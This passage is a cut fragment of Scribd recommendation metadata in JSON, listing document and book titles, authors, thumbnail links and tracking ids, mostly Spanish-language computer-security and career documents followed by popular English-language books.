InformáticaUnidad1","author":"david","tracking":{"object_type":"document","object_id":366676961,"track":"flattened_recommender","doc_uuid":"wzQAAHyXFx99JXWS5jAqbGDzANE="},"url":"https://www.scribd.com/document/366676961/Nociones-Basicas-de-Seguridad-InformaticaUnidad1"},{"type":"document","id":61539431,"thumb_url":"https://imgv2-1-f.scribdassets.com/img/document/61539431/108x144/3b8652b9c2/1312389227?v=1","retina_thumb_url":"https://imgv2-2-f.scribdassets.com/img/document/61539431/216x288/8146f95352/1312389227?v=1","title":"Cv Rodrigo Navarro Fiori","short_title":"Cv Rodrigo Navarro Fiori","author":"Anapaula Navarro Fiori","tracking":{"object_type":"document","object_id":61539431,"track":"flattened_recommender","doc_uuid":"0BtGV/89PZ/2uVe82NFBgA4eRik="},"url":"https://www.scribd.com/document/61539431/Cv-Rodrigo-Navarro-Fiori"},{"type":"document","id":111312641,"thumb_url":"https://imgv2-2-f.scribdassets.com/img/document/111312641/108x144/e980497288/1359074609?v=1","retina_thumb_url":"https://imgv2-2-f.scribdassets.com/img/document/111312641/216x288/78709950b8/1359074609?v=1","title":"Bolsas de Trabajo","short_title":"Bolsas de Trabajo","author":"Miguel Angel Medina","tracking":{"object_type":"document","object_id":111312641,"track":"flattened_recommender","doc_uuid":"17LJUjRGoA7Z7FyjuwuS6t/DwKo="},"url":"https://www.scribd.com/document/111312641/Bolsas-de-Trabajo"},{"type":"document","id":137258911,"thumb_url":"https://imgv2-2-f.scribdassets.com/img/document/137258911/108x144/cb38832108/1431599128?v=1","retina_thumb_url":"https://imgv2-2-f.scribdassets.com/img/document/137258911/216x288/bba5b8a938/1431599128?v=1","title":"Blog+de+Raul+Angel+Velazquez+Rodriguez_+La+historia+detrás+de+mis+17+certificaciones+de+Cisco","short_title":"Blog+de+Raul+Angel+Velazquez+Rodriguez_+La+historia+detrás+de+mis+17+certificaciones+de+Cisco","author":"trux06","tracking":{"object_type":"document","object_id":137258911,"track":"flattened_recommender","doc_uuid":"eMy1NwiIYRJx7XCBacezZ9oQEVo="},"url":"https://www.scribd.com/document/137258911/Blog-de-Raul-Angel-Velazquez-Rodriguez-La-historia-detras-de-mis-17-certificaciones-de-Cisco"},{"type":"document","id":268858769,"thumb_url":"https://imgv2-1-f.scribdassets.com/img/document/268858769/108x144/8b593db2a7/1434473283?v=1","retina_thumb_url":"https://imgv2-1-f.scribdassets.com/img/document/268858769/216x288/205e3809ab/1434473283?v=1","title":"{5eeec9ef 14c0 4c11 9432 28ccb06fe718} Tipping Point Combined ES","short_title":"{5eeec9ef 14c0 4c11 9432 28ccb06fe718} Tipping Point Combined ES","author":"bad3106","tracking":{"object_type":"document","object_id":268858769,"track":"flattened_recommender","doc_uuid":"o3pGdRzZrLLs2g8uWjcOyzgdGm4="},"url":"https://www.scribd.com/document/268858769/5eeec9ef-14c0-4c11-9432-28ccb06fe718-Tipping-Point-Combined-ES"},{"type":"document","id":376465411,"thumb_url":"https://imgv2-1-f.scribdassets.com/img/document/376465411/108x144/55cf592120/1523856471?v=1","retina_thumb_url":"https://imgv2-1-f.scribdassets.com/img/document/376465411/216x288/9724431938/1523856471?v=1","title":"Gelmer Restrepo Hernandez Seguridad 3.2","short_title":"Gelmer Restrepo Hernandez Seguridad 3.2","author":"gelmer","tracking":{"object_type":"document","object_id":376465411,"track":"flattened_recommender","doc_uuid":"r6Brieq/IPvFMNGQ49gdfMdDDMI="},"url":"https://www.scribd.com/document/376465411/Gelmer-Restrepo-Hernandez-Seguridad-3-2"},{"type":"document","id":54885047,"thumb_url":"https://imgv2-2-f.scribdassets.com/img/document/54885047/108x144/0c05627892/1407633139?v=1","retina_thumb_url":"https://imgv2-1-f.scribdassets.com/img/document/54885047/216x288/f7cf48766e/1407633139?v=1","title":"Que Son Los Spyweres, Como Funcionan y Como Eliminarlos","short_title":"Que Son Los Spyweres, Como Funcionan y Como Eliminarlos","author":"Dragom_G_mez_C_1313","tracking":{"object_type":"document","object_id":54885047,"track":"flattened_recommender","doc_uuid":"lZyBT+bUB361sdm0HvPkbhZLMso="},"url":"https://www.scribd.com/document/54885047/Que-Son-Los-Spyweres-Como-Funcionan-y-Como-Eliminarlos"},{"type":"document","id":246643807,"thumb_url":"https://imgv2-2-f.scribdassets.com/img/document/246643807/108x144/c2c7b44946/1416024411?v=1","retina_thumb_url":"https://imgv2-1-f.scribdassets.com/img/document/246643807/216x288/2235e079be/1416024411?v=1","title":"Trabajo Colaborativo No2 Telematica","short_title":"Trabajo Colaborativo No2 Telematica","author":"Jeison Orobio","tracking":{"object_type":"document","object_id":246643807,"track":"flattened_recommender","doc_uuid":"XSjjj/CRDFcNwjRK5SSeic1Fcb8="},"url":"https://www.scribd.com/document/246643807/Trabajo-Colaborativo-No2-Telematica"},{"type":"document","id":68010729,"thumb_url":"https://imgv2-1-f.scribdassets.com/img/document/68010729/108x144/b1ea778c93/1409487060?v=1","retina_thumb_url":"https://imgv2-1-f.scribdassets.com/img/document/68010729/216x288/639524ef10/1409487060?v=1","title":"Hackin9-17","short_title":"Hackin9-17","author":"kkyyuuxx","tracking":{"object_type":"document","object_id":68010729,"track":"flattened_recommender","doc_uuid":"eRTGgjQWNOM3+wyrmWgb7wIsuak="},"url":"https://www.scribd.com/document/68010729/Hackin9-17"},{"type":"document","id":380689666,"thumb_url":"https://imgv2-2-f.scribdassets.com/img/document/380689666/108x144/4151124159/1527800972?v=1","retina_thumb_url":"https://imgv2-2-f.scribdassets.com/img/document/380689666/216x288/929165a5b2/1527800972?v=1","title":"Curriculum Vitae","short_title":"Curriculum Vitae","author":"Samuel Acosta","tracking":{"object_type":"document","object_id":380689666,"track":"flattened_recommender","doc_uuid":"RmrRIsdgfIoBdrGjYenqEnp0Zio="},"url":"https://www.scribd.com/document/380689666/Curriculum-Vitae"},{"type":"document","id":49645773,"thumb_url":"https://imgv2-2-f.scribdassets.com/img/document/49645773/108x144/71f9606260/1298824728?v=1","retina_thumb_url":"https://imgv2-2-f.scribdassets.com/img/document/49645773/216x288/a89a7cabdb/1298824728?v=1","title":"ESET. Tendencias 2011: las botnet y el malware dinámico. ","short_title":"ESET. Tendencias 2011","author":"Nicolás Boettcher","tracking":{"object_type":"document","object_id":49645773,"track":"flattened_recommender","doc_uuid":"6BXoMymdxJm/nk6JK8dBSl9x0T8="},"url":"https://www.scribd.com/document/49645773/ESET-Tendencias-2011-las-botnet-y-el-malware-dinamico"},{"type":"document","id":209110126,"thumb_url":"https://imgv2-2-f.scribdassets.com/img/document/209110126/108x144/86a9e5864d/1393320936?v=1","retina_thumb_url":"https://imgv2-2-f.scribdassets.com/img/document/209110126/216x288/ceb6186156/1393320936?v=1","title":"Unidad 1","short_title":"Unidad 1","author":"badchulo","tracking":{"object_type":"document","object_id":209110126,"track":"flattened_recommender","doc_uuid":"xiWh5Lftz+Kh0KeQkocvs1ecLEc="},"url":"https://www.scribd.com/document/209110126/Unidad-1"},{"type":"document","id":382802863,"thumb_url":"https://imgv2-2-f.scribdassets.com/img/document/382802863/108x144/26dde920ab/1530204543?v=1","retina_thumb_url":"https://imgv2-2-f.scribdassets.com/img/document/382802863/216x288/86009fba7a/1530204543?v=1","title":"DELITOS INFORMATICOS","short_title":"DELITOS INFORMATICOS","author":"Mayra Saldaña","tracking":{"object_type":"document","object_id":382802863,"track":"flattened_recommender","doc_uuid":"dOKcFdX8c2YM+xSKnOfJJgQqQHI="},"url":"https://www.scribd.com/document/382802863/DELITOS-INFORMATICOS"},{"type":"document","id":282202268,"thumb_url":"https://imgv2-2-f.scribdassets.com/img/document/282202268/108x144/1bdc42f5bf/1442788353?v=1","retina_thumb_url":"https://imgv2-1-f.scribdassets.com/img/document/282202268/216x288/8d40f22612/1442788353?v=1","title":"Software Parte 2","short_title":"Software Parte 2","author":"SebastianMillan","tracking":{"object_type":"document","object_id":282202268,"track":"flattened_recommender","doc_uuid":"uNQyHIiCwF/aP2ELKL6JOpXGvWE="},"url":"https://www.scribd.com/document/282202268/Software-Parte-2"},{"type":"document","id":268417301,"thumb_url":"https://imgv2-1-f.scribdassets.com/img/document/268417301/108x144/7305bad94f/1434060053?v=1","retina_thumb_url":"https://imgv2-2-f.scribdassets.com/img/document/268417301/216x288/a7107048dc/1434060053?v=1","title":"delitos informaticos","short_title":"delitos informaticos","author":"carlos","tracking":{"object_type":"document","object_id":268417301,"track":"flattened_recommender","doc_uuid":"Q9Jk+qGj1KR+pd5oU7ybz4LKZFc="},"url":"https://www.scribd.com/document/268417301/delitos-informaticos"},{"type":"document","id":309546732,"thumb_url":"https://imgv2-2-f.scribdassets.com/img/document/309546732/108x144/aca66d60c3/1460983007?v=1","retina_thumb_url":"https://imgv2-2-f.scribdassets.com/img/document/309546732/216x288/56a9a9ac59/1460983007?v=1","title":"DNS Malware Iicybersecurity","short_title":"DNS Malware Iicybersecurity","author":"David Thomas","tracking":{"object_type":"document","object_id":309546732,"track":"flattened_recommender","doc_uuid":"MIvN32IOnlZx/1KzCD+cmzo2N5U="},"url":"https://www.scribd.com/document/309546732/DNS-Malware-Iicybersecurity"},{"type":"document","id":117345505,"thumb_url":"https://imgv2-1-f.scribdassets.com/img/document/117345505/108x144/23c07c142f/1355903594?v=1","retina_thumb_url":"https://imgv2-2-f.scribdassets.com/img/document/117345505/216x288/7c329ae2f7/1355903594?v=1","title":"Animación del Droid 2 R2-D2 Edition Techniques To be able to Make Improvements To gestion empresarial analisis At A Small Limited Budget.20121219.015302","short_title":"Animación del Droid 2 R2-D2 Edition Techniques To be able to Make Improvements To gestion empresarial analisis At A Small Limited Budget.20121219.015302","author":"anon_268558478","tracking":{"object_type":"document","object_id":117345505,"track":"flattened_recommender","doc_uuid":"NzKB1kB6PLgrqGevEE/sHfguUUM="},"url":"https://www.scribd.com/document/117345505/Animacion-del-Droid-2-R2-D2-Edition-Techniques-To-be-able-to-Make-Improvements-To-gestion-empresarial-analisis-At-A-Small-Limited-Budget-20121219-0153"},{"type":"document","id":257620950,"thumb_url":"https://imgv2-2-f.scribdassets.com/img/document/257620950/108x144/86285ee8f3/1425459309?v=1","retina_thumb_url":"https://imgv2-1-f.scribdassets.com/img/document/257620950/216x288/b86800a27b/1425459309?v=1","title":"8dot8_2013_pres_LM_1.pdf","short_title":"8dot8_2013_pres_LM_1.pdf","author":"Jhon Doe","tracking":{"object_type":"document","object_id":257620950,"track":"flattened_recommender","doc_uuid":"PggAA+76dZubh+2GZW0v8l4zEcY="},"url":"https://www.scribd.com/document/257620950/8dot8-2013-pres-LM-1-pdf"},{"type":"document","id":307194304,"thumb_url":"https://imgv2-1-f.scribdassets.com/img/document/307194304/108x144/308923b837/1459945883?v=1","retina_thumb_url":"https://imgv2-2-f.scribdassets.com/img/document/307194304/216x288/a540e90e32/1459945883?v=1","title":"Gesti?n de la seguridad privada aporta valor a las empresas","short_title":"Gesti?n de la seguridad privada aporta valor a las empresas","author":"heartbreakingdo85","tracking":{"object_type":"document","object_id":307194304,"track":"flattened_recommender","doc_uuid":"6LDNm6C3fLI9C9xqEsLj8EDI9x0="},"url":"https://www.scribd.com/document/307194304/Gesti-n-de-la-seguridad-privada-aporta-valor-a-las-empresas"},{"type":"document","id":199617600,"thumb_url":"https://imgv2-2-f.scribdassets.com/img/document/199617600/108x144/93c37bac18/1389713115?v=1","retina_thumb_url":"https://imgv2-2-f.scribdassets.com/img/document/199617600/216x288/deacd747ea/1389713115?v=1","title":"Modulo2 Curso Introduccion Proteccion Internet","short_title":"Modulo2 Curso Introduccion Proteccion Internet","author":"Pablo Solano","tracking":{"object_type":"document","object_id":199617600,"track":"flattened_recommender","doc_uuid":"pMS9rpbq3WxqC6CwI1wstHs7hrg="},"url":"https://www.scribd.com/document/199617600/Modulo2-Curso-Introduccion-Proteccion-Internet"},{"type":"document","id":273668494,"thumb_url":"https://imgv2-2-f.scribdassets.com/img/document/273668494/108x144/f960efd00e/1438821416?v=1","retina_thumb_url":"https://imgv2-2-f.scribdassets.com/img/document/273668494/216x288/1e32eed779/1438821416?v=1","title":"Exploits","short_title":"Exploits","author":"Henry Acevedo","tracking":{"object_type":"document","object_id":273668494,"track":"flattened_recommender","doc_uuid":"sPYleCgDRqTY83+ftBTvdvJeOfs="},"url":"https://www.scribd.com/document/273668494/Exploits"},{"type":"document","id":161293883,"thumb_url":"https://imgv2-2-f.scribdassets.com/img/document/161293883/108x144/88df3c93e2/1388650105?v=1","retina_thumb_url":"https://imgv2-2-f.scribdassets.com/img/document/161293883/216x288/f3bf7edccc/1388650105?v=1","title":"Proyecto Final","short_title":"Proyecto Final","author":"Gustavo Sc","tracking":{"object_type":"document","object_id":161293883,"track":"flattened_recommender","doc_uuid":"wvmrqYexJ3iNDP2jOefb5rgCvJY="},"url":"https://www.scribd.com/document/161293883/Proyecto-Final"},{"type":"document","id":52565740,"thumb_url":"https://imgv2-1-f.scribdassets.com/img/document/52565740/108x144/bee946638d/1352858650?v=1","retina_thumb_url":"https://imgv2-1-f.scribdassets.com/img/document/52565740/216x288/1cf83f3e12/1352858650?v=1","title":"Qué es un hacker","short_title":"Qué es un hacker","author":"Geobany A Riveros P","tracking":{"object_type":"document","object_id":52565740,"track":"flattened_recommender","doc_uuid":"vRWp4XcyHHX1SjfdvLpuBMEl01A="},"url":"https://www.scribd.com/doc/52565740/Que-es-un-hacker"},{"type":"document","id":69750805,"thumb_url":"https://imgv2-1-f.scribdassets.com/img/document/69750805/108x144/5da24488db/1337874890?v=1","retina_thumb_url":"https://imgv2-2-f.scribdassets.com/img/document/69750805/216x288/fd5fdea999/1337874890?v=1","title":"Man Avira Premium-security-suite Es","short_title":"Man Avira Premium-security-suite Es","author":"julsanab","tracking":{"object_type":"document","object_id":69750805,"track":"flattened_recommender","doc_uuid":"CudCr22Wt9MKMJLY947gjEAd/Zc="},"url":"https://www.scribd.com/document/69750805/Man-Avira-Premium-security-suite-Es"},{"type":"document","id":36196447,"thumb_url":"https://imgv2-2-f.scribdassets.com/img/document/36196447/108x144/122a233cbf/1282348542?v=1","retina_thumb_url":"https://imgv2-2-f.scribdassets.com/img/document/36196447/216x288/4b5f7dec41/1282348542?v=1","title":"Normas de Conducta","short_title":"Normas de Conducta","author":"Smets777","tracking":{"object_type":"document","object_id":36196447,"track":"flattened_recommender","doc_uuid":"NBHlgV1At/VKMr8CVbFdIV+lV84="},"url":"https://www.scribd.com/document/36196447/Normas-de-Conducta"},{"type":"document","id":66630699,"thumb_url":"https://imgv2-2-f.scribdassets.com/img/document/66630699/108x144/0387f5b108/1384030850?v=1","retina_thumb_url":"https://imgv2-1-f.scribdassets.com/img/document/66630699/216x288/d0fd3543ca/1384030850?v=1","title":"InformeTecnico 031 2011 GIN v2","short_title":"InformeTecnico 031 2011 GIN v2","author":"Rafael Hernandez Mendez","tracking":{"object_type":"document","object_id":66630699,"track":"flattened_recommender","doc_uuid":"WP09WMAEDiMSlTXSrpY0LQileYc="},"url":"https://www.scribd.com/document/66630699/InformeTecnico-031-2011-GIN-v2"},{"type":"book","id":212863738,"thumb_url":"https://imgv2-1-f.scribdassets.com/img/word_document/212863738/108x144/5bad102ef1/1537264925?v=1","retina_thumb_url":"https://imgv2-2-f.scribdassets.com/img/word_document/212863738/216x288/8fc36df455/1537264925?v=1","title":"The Unwinding: An Inner History of the New America","short_title":"The Unwinding","author":"George Packer","tracking":{"object_type":"document","object_id":212863738,"track":"flattened_recommender","doc_uuid":"lNQVZyirZuhwUTQridntgjziN4s="},"url":"https://www.scribd.com/read/212863738/The-Unwinding-An-Inner-History-of-the-New-America"},{"type":"book","id":244157917,"thumb_url":"https://imgv2-2-f.scribdassets.com/img/word_document/244157917/108x144/c55ae5929d/1537258482?v=1","retina_thumb_url":"https://imgv2-2-f.scribdassets.com/img/word_document/244157917/216x288/c42f4ff9aa/1537258482?v=1","title":"Yes Please","short_title":"Yes Please","author":"Amy Poehler","tracking":{"object_type":"document","object_id":244157917,"track":"flattened_recommender","doc_uuid":"bFAce0JC94MIsSAe9iIx/S1/LKQ="},"url":"https://www.scribd.com/read/244157917/Yes-Please"},{"type":"book","id":253264900,"thumb_url":"https://imgv2-2-f.scribdassets.com/img/word_document/253264900/108x144/dcda7770b5/1537276005?v=1","retina_thumb_url":"https://imgv2-2-f.scribdassets.com/img/word_document/253264900/216x288/ca2dc9eb25/1537276005?v=1","title":"Sapiens: A Brief History of Humankind","short_title":"Sapiens","author":"Yuval Noah Harari","tracking":{"object_type":"document","object_id":253264900,"track":"flattened_recommender","doc_uuid":"IR33gOdwx0jr7o4DJ8ViUC83zDM="},"url":"https://www.scribd.com/read/253264900/Sapiens-A-Brief-History-of-Humankind"},{"type":"book","id":239488191,"thumb_url":"https://imgv2-1-f.scribdassets.com/img/word_document/239488191/108x144/a9a21bdc0e/1537269642?v=1","retina_thumb_url":"https://imgv2-1-f.scribdassets.com/img/word_document/239488191/216x288/73448c1779/1537269642?v=1","title":"The Innovators: How a Group of Hackers, Geniuses, and Geeks Created the Digital Revolution","short_title":"The Innovators","author":"Walter Isaacson","tracking":{"object_type":"document","object_id":239488191,"track":"flattened_recommender","doc_uuid":"lgz88hXovcT5dGyZainsDpsgeOM="},"url":"https://www.scribd.com/read/239488191/The-Innovators-How-a-Group-of-Hackers-Geniuses-and-Geeks-Created-the-Digital-Revolution"},{"type":"book","id":282766939,"thumb_url":"https://imgv2-2-f.scribdassets.com/img/word_document/282766939/108x144/1355dd3a71/1537265006?v=1","retina_thumb_url":"https://imgv2-2-f.scribdassets.com/img/word_document/282766939/216x288/076d3f356c/1537265006?v=1","title":"Dispatches from Pluto: Lost and Found in the Mississippi Delta","short_title":"Dispatches from Pluto","author":"Richard Grant","tracking":{"object_type":"document","object_id":282766939,"track":"flattened_recommender","doc_uuid":"OQOKLjtQaa3f+udYhMKSq5QDbFw="},"url":"https://www.scribd.com/read/282766939/Dispatches-from-Pluto-Lost-and-Found-in-the-Mississippi-Delta"},{"type":"book","id":263504218,"thumb_url":"https://imgv2-1-f.scribdassets.com/img/word_document/263504218/108x144/986fa89e8b/1537265288?v=1","retina_thumb_url":"https://imgv2-1-f.scribdassets.com/img/word_document/263504218/216x288/c40eb7e9a8/1537265288?v=1","title":"Elon Musk: Tesla, SpaceX, and the Quest for a Fantastic Future","short_title":"Elon Musk","author":"Ashlee Vance","tracking":{"object_type":"document","object_id":263504218,"track":"flattened_recommender","doc_uuid":"+Xpqw9zMRVq0qVj5qUktX2dBFNU="},"url":"https://www.scribd.com/read/263504218/Elon-Musk-Tesla-SpaceX-and-the-Quest-for-a-Fantastic-Future"},{"type":"book","id":163646054,"thumb_url":"https://imgv2-1-f.scribdassets.com/img/word_document/163646054/108x144/c8eb9eae18/1537256737?v=1","retina_thumb_url":"https://imgv2-2-f.scribdassets.com/img/word_document/163646054/216x288/d6d700f05f/1537256737?v=1","title":"Devil in the Grove: Thurgood Marshall, the Groveland Boys, and the Dawn of a New America","short_title":"Devil in the Grove","author":"Gilbert King","tracking":{"object_type":"document","object_id":163646054,"track":"flattened_recommender","doc_uuid":"e+C5WfUdgO12YWhNToUL+AMUIcg="},"url":"https://www.scribd.com/read/163646054/Devil-in-the-Grove-Thurgood-Marshall-the-Groveland-Boys-and-the-Dawn-of-a-New-America"},{"type":"book","id":224419023,"thumb_url":"https://imgv2-2-f.scribdassets.com/img/word_document/224419023/108x144/48b209bbb5/1537260973?v=1","retina_thumb_url":"https://imgv2-1-f.scribdassets.com/img/word_document/224419023/216x288/39263c2334/1537260973?v=1","title":"John Adams","short_title":"John Adams","author":"David McCullough","tracking":{"object_type":"document","object_id":224419023,"track":"flattened_recommender","doc_uuid":"eKL1ASpjqFsNWne3DjbVYnvXxGs="},"url":"https://www.scribd.com/read/224419023/John-Adams"},{"type":"book","id":224258670,"thumb_url":"https://imgv2-1-f.scribdassets.com/img/word_document/224258670/108x144/3c7a87a449/1537270892?v=1","retina_thumb_url":"https://imgv2-2-f.scribdassets.com/img/word_document/224258670/216x288/ef3c1ca84d/1537270892?v=1","title":"The Prize: The Epic Quest for Oil, Money & Power","short_title":"The Prize","author":"Daniel Yergin","tracking":{"object_type":"document","object_id":224258670,"track":"flattened_recommender","doc_uuid":"iKpf0TTLTvRMZxHBmCwqGxuApDo="},"url":"https://www.scribd.com/read/224258670/The-Prize-The-Epic-Quest-for-Oil-Money-Power"},{"type":"book","id":224369806,"thumb_url":"https://imgv2-2-f.scribdassets.com/img/word_document/224369806/108x144/6fb23377a8/1537261190?v=1","retina_thumb_url":"https://imgv2-1-f.scribdassets.com/img/word_document/224369806/216x288/b1d476d0fb/1537261190?v=1","title":"The Emperor of All Maladies: A Biography of Cancer","short_title":"The Emperor of All Maladies","author":"Siddhartha Mukherjee","tracking":{"object_type":"document","object_id":224369806,"track":"flattened_recommender","doc_uuid":"KZ7Ns3/4mB71z7XKW3TSZMEUwvo="},"url":"https://www.scribd.com/read/224369806/The-Emperor-of-All-Maladies-A-Biography-of-Cancer"},{"type":"book","id":225916486,"thumb_url":"https://imgv2-1-f.scribdassets.com/img/word_document/225916486/108x144/241cf75eb3/1537263696?v=1","retina_thumb_url":"https://imgv2-1-f.scribdassets.com/img/word_document/225916486/216x288/a042fe186a/1537263696?v=1","title":"A Heartbreaking Work Of Staggering Genius: A Memoir Based on a True Story","short_title":"A Heartbreaking Work Of Staggering Genius","author":"Dave Eggers","tracking":{"object_type":"document","object_id":225916486,"track":"flattened_recommender","doc_uuid":"qxYKSnKLs547xpynEy1weUSnPhE="},"url":"https://www.scribd.com/read/225916486/A-Heartbreaking-Work-Of-Staggering-Genius-A-Memoir-Based-on-a-True-Story"},{"type":"book","id":224355300,"thumb_url":"https://imgv2-1-f.scribdassets.com/img/word_document/224355300/108x144/0f2130a60a/1537261302?v=1","retina_thumb_url":"https://imgv2-2-f.scribdassets.com/img/word_document/224355300/216x288/9b9b19254a/1537261302?v=1","title":"Grand Pursuit: The Story of Economic Genius","short_title":"Grand Pursuit","author":"Sylvia Nasar","tracking":{"object_type":"document","object_id":224355300,"track":"flattened_recommender","doc_uuid":"owpLNnr3Zuo+OTngvtYPKgVb5/g="},"url":"https://www.scribd.com/read/224355300/Grand-Pursuit-The-Story-of-Economic-Genius"},{"type":"book","id":238704340,"thumb_url":"https://imgv2-1-f.scribdassets.com/img/word_document/238704340/108x144/2fd0be1590/1537264512?v=1","retina_thumb_url":"https://imgv2-1-f.scribdassets.com/img/word_document/238704340/216x288/191539db56/1537264512?v=1","title":"This Changes Everything: Capitalism vs. The Climate","short_title":"This Changes Everything","author":"Naomi Klein","tracking":{"object_type":"document","object_id":238704340,"track":"flattened_recommender","doc_uuid":"RIiWDJyn1z532cxD+/nDVQCw530="},"url":"https://www.scribd.com/read/238704340/This-Changes-Everything-Capitalism-vs-The-Climate"},{"type":"book","id":293461549,"thumb_url":"https://imgv2-2-f.scribdassets.com/img/word_document/293461549/108x144/07628d60db/1537261738?v=1","retina_thumb_url":"https://imgv2-1-f.scribdassets.com/img/word_document/293461549/216x288/8d1185b7ff/1537261738?v=1","title":"The New Confessions of an Economic Hit Man","short_title":"The New Confessions of an Economic Hit Man","author":"John Perkins","tracking":{"object_type":"document","object_id":293461549,"track":"flattened_recommender","doc_uuid":"TDLILDydwuxR5HlKE322NzHF1n8="},"url":"https://www.scribd.com/read/293461549/The-New-Confessions-of-an-Economic-Hit-Man"},{"type":"book","id":224410295,"thumb_url":"https://imgv2-1-f.scribdassets.com/img/word_document/224410295/108x144/514b1bea0b/1537260692?v=1","retina_thumb_url":"https://imgv2-1-f.scribdassets.com/img/word_document/224410295/216x288/f7c9469e6c/1537260692?v=1","title":"Team of Rivals: The Political Genius of Abraham Lincoln","short_title":"Team of Rivals","author":"Doris Kearns Goodwin","tracking":{"object_type":"document","object_id":224410295,"track":"flattened_recommender","doc_uuid":"kVDutAAzZYWgOSh/SyTbtax5Zoo="},"url":"https://www.scribd.com/read/224410295/Team-of-Rivals-The-Political-Genius-of-Abraham-Lincoln"},{"type":"book","id":202691564,"thumb_url":"https://imgv2-1-f.scribdassets.com/img/word_document/202691564/108x144/f0e6e6416d/1537277875?v=1","retina_thumb_url":"https://imgv2-1-f.scribdassets.com/img/word_document/202691564/216x288/56a5d067c6/1537277875?v=1","title":"Smart People Should Build Things: How to Restore Our Culture of Achievement, Build a Path for Entrepreneurs, and Create New Jobs in America","short_title":"Smart People Should Build Things","author":"Andrew Yang","tracking":{"object_type":"document","object_id":202691564,"track":"flattened_recommender","doc_uuid":"jN779fxsXS/y8OYPd06QlFXY6Pg="},"url":"https://www.scribd.com/read/202691564/Smart-People-Should-Build-Things-How-to-Restore-Our-Culture-of-Achievement-Build-a-Path-for-Entrepreneurs-and-Create-New-Jobs-in-America"},{"type":"book","id":211302755,"thumb_url":"https://imgv2-1-f.scribdassets.com/img/word_document/211302755/108x144/2424de51a2/1537266962?v=1","retina_thumb_url":"https://imgv2-2-f.scribdassets.com/img/word_document/211302755/216x288/09ee7462f3/1537266962?v=1","title":"The Hard Thing About Hard Things: Building a Business When There Are No Easy Answers","short_title":"The Hard Thing About Hard Things","author":"Ben Horowitz","tracking":{"object_type":"document","object_id":211302755,"track":"flattened_recommender","doc_uuid":"hSvjk4zqqWd/a3MJRpSS55LcKwk="},"url":"https://www.scribd.com/read/211302755/The-Hard-Thing-About-Hard-Things-Building-a-Business-When-There-Are-No-Easy-Answers"},{"type":"book","id":239588474,"thumb_url":"https://imgv2-1-f.scribdassets.com/img/word_document/239588474/108x144/149fb5e6af/1537269879?v=1","retina_thumb_url":"https://imgv2-1-f.scribdassets.com/img/word_document/239588474/216x288/15f36354f8/1537269879?v=1","title":"Rise of ISIS: A Threat We Can't Ignore","short_title":"Rise of ISIS","author":"Jay Sekulow","tracking":{"object_type":"document","object_id":239588474,"track":"flattened_recommender","doc_uuid":"i+e1Iv/uB2ax2549XqxjLcVWp4g="},"url":"https://www.scribd.com/read/239588474/Rise-of-ISIS-A-Threat-We-Can-t-Ignore"},{"type":"book","id":182553141,"thumb_url":"https://imgv2-2-f.scribdassets.com/img/word_document/182553141/108x144/1b40063d80/1537268723?v=1","retina_thumb_url":"https://imgv2-1-f.scribdassets.com/img/word_document/182553141/216x288/098f7f1651/1537268723?v=1","title":"The World Is Flat 3.0: A Brief History of the Twenty-first Century","short_title":"The World Is Flat 3.0","author":"Thomas L. Friedman","tracking":{"object_type":"document","object_id":182553141,"track":"flattened_recommender","doc_uuid":"arbWD7NE5jz8EbMWFQbIBDS0XqI="},"url":"https://www.scribd.com/read/182553141/The-World-Is-Flat-3-0-A-Brief-History-of-the-Twenty-first-Century"},{"type":"book","id":234028503,"thumb_url":"https://imgv2-2-f.scribdassets.com/img/word_document/234028503/108x144/2c4440aa6c/1537266422?v=1","retina_thumb_url":"https://imgv2-2-f.scribdassets.com/img/word_document/234028503/216x288/cfe54b8013/1537266422?v=1","title":"Bad Feminist: Essays","short_title":"Bad Feminist","author":"Roxane Gay","tracking":{"object_type":"document","object_id":234028503,"track":"flattened_recommender","doc_uuid":"+XgqG55+AOmBnCQe6q0e2wRCdFc="},"url":"https://www.scribd.com/read/234028503/Bad-Feminist-Essays"},{"type":"book","id":224426877,"thumb_url":"https://imgv2-1-f.scribdassets.com/img/word_document/224426877/108x144/f22cf865fe/1537257666?v=1","retina_thumb_url":"https://imgv2-2-f.scribdassets.com/img/word_document/224426877/216x288/a73f25e252/1537257666?v=1","title":"Angela's Ashes: A Memoir","short_title":"Angela's Ashes","author":"Frank McCourt","tracking":{"object_type":"document","object_id":224426877,"track":"flattened_recommender","doc_uuid":"rM4EN/TV7i1Mqcsbb/QWvCpv0+Y="},"url":"https://www.scribd.com/read/224426877/Angela-s-Ashes-A-Memoir"},{"type":"book","id":224326250,"thumb_url":"https://imgv2-1-f.scribdassets.com/img/word_document/224326250/108x144/b659f5fb6a/1537264542?v=1","retina_thumb_url":"https://imgv2-1-f.scribdassets.com/img/word_document/224326250/216x288/900e8864ca/1537264542?v=1","title":"Steve Jobs","short_title":"Steve Jobs","author":"Walter Isaacson","tracking":{"object_type":"document","object_id":224326250,"track":"flattened_recommender","doc_uuid":"9Z/Ow0rqmJj+Q2tOQFra9vdp9ZI="},"url":"https://www.scribd.com/read/224326250/Steve-Jobs"},{"type":"book","id":224349281,"thumb_url":"https://imgv2-1-f.scribdassets.com/img/word_document/224349281/108x144/4df0918cea/1537272741?v=1","retina_thumb_url":"https://imgv2-2-f.scribdassets.com/img/word_document/224349281/216x288/befa0c6317/1537272741?v=1","title":"How To Win Friends and Influence People","short_title":"How To Win Friends and Influence People","author":"Dale Carnegie","tracking":{"object_type":"document","object_id":224349281,"track":"flattened_recommender","doc_uuid":"LVEuCEGq5LJN7xBfu4rytOzDSJU="},"url":"https://www.scribd.com/read/224349281/How-To-Win-Friends-and-Influence-People"},{"type":"book","id":337536061,"thumb_url":"https://imgv2-1-f.scribdassets.com/img/word_document/337536061/108x144/8c1b451da6/1537268827?v=1","retina_thumb_url":"https://imgv2-2-f.scribdassets.com/img/word_document/337536061/216x288/45d81f5c37/1537268827?v=1","title":"The Sympathizer: A Novel (Pulitzer Prize for Fiction)","short_title":"The Sympathizer","author":"Viet Thanh Nguyen","tracking":{"object_type":"document","object_id":337536061,"track":"flattened_recommender","doc_uuid":"2ER/usItyjVEjXeyZduKoeIiZHE="},"url":"https://www.scribd.com/read/337536061/The-Sympathizer-A-Novel-Pulitzer-Prize-for-Fiction"},{"type":"book","id":249309502,"thumb_url":"https://imgv2-1-f.scribdassets.com/img/word_document/249309502/108x144/06f5527c5d/1537258959?v=1","retina_thumb_url":"https://imgv2-1-f.scribdassets.com/img/word_document/249309502/216x288/ec3bf7c24b/1537258959?v=1","title":"Extremely Loud and Incredibly Close: A Novel","short_title":"Extremely Loud and Incredibly Close","author":"Jonathan Safran 